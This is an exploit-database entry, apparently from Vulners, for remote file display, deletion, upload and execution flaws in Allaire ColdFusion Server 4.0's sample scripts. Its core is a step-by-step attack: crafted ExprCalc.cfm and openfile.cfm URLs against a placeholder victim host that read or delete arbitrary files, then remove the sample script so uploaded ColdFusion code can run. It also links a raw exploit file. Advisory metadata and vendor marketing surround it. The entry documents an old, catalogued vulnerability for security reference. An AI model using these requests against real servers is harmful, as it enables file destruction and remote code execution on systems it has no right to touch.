Allaire ColdFusion Server 4.0 - Remote File Display / Deletion / Upload / Execution
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | ColdFusion Multiple Vulnerabilities (File Upload/Manipulation) | 9 Jul 199900:00 | – | nessus |
 | CVE-1999-0455 | 4 Feb 200005:00 | – | cve |
| CVE-1999-0477 | 4 Feb 200005:00 | – | cve |
 | CVE-1999-0455 | 4 Feb 200005:00 | – | cvelist |
| CVE-1999-0477 | 4 Feb 200005:00 | – | cvelist |
 | EUVD-1999-0455 | 7 Oct 202500:30 | – | euvd |
| EUVD-1999-0476 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-0455 | 25 Dec 199905:00 | – | nvd |
| CVE-1999-0477 | 25 Dec 199905:00 | – | nvd |
 | CVE-1999-0455 | 7 Jan 202609:39 | – | redhatcve |
10
source: https://www.securityfocus.com/bid/115/info
To display and delete any file on the system use an URL of the following form:
http://www.victim.test/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:\the\target\file
To upload files to the sever first find out the location of the sample code on the server by uploading a dummy file by using http://www.victim.test/cfdocs/expeval/openfile.cfm. After uploading a dummy file it will be displayed for you. The URL will be for the form:
http://www.victim.test/cfdocs/expeval/ExprCalc.cfm?RequestTimeout=2000&OpenFilePath=C:\Inetpub\wwwroot\cfdocs\expeval\.\dummy.txt
Now replace the "dummy.txt" string by "ExprCalc.cfm" to delete that file. We can now upload and execute ColdFusion files in the server without them being deleted.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19093.cfmData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Jun 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.05845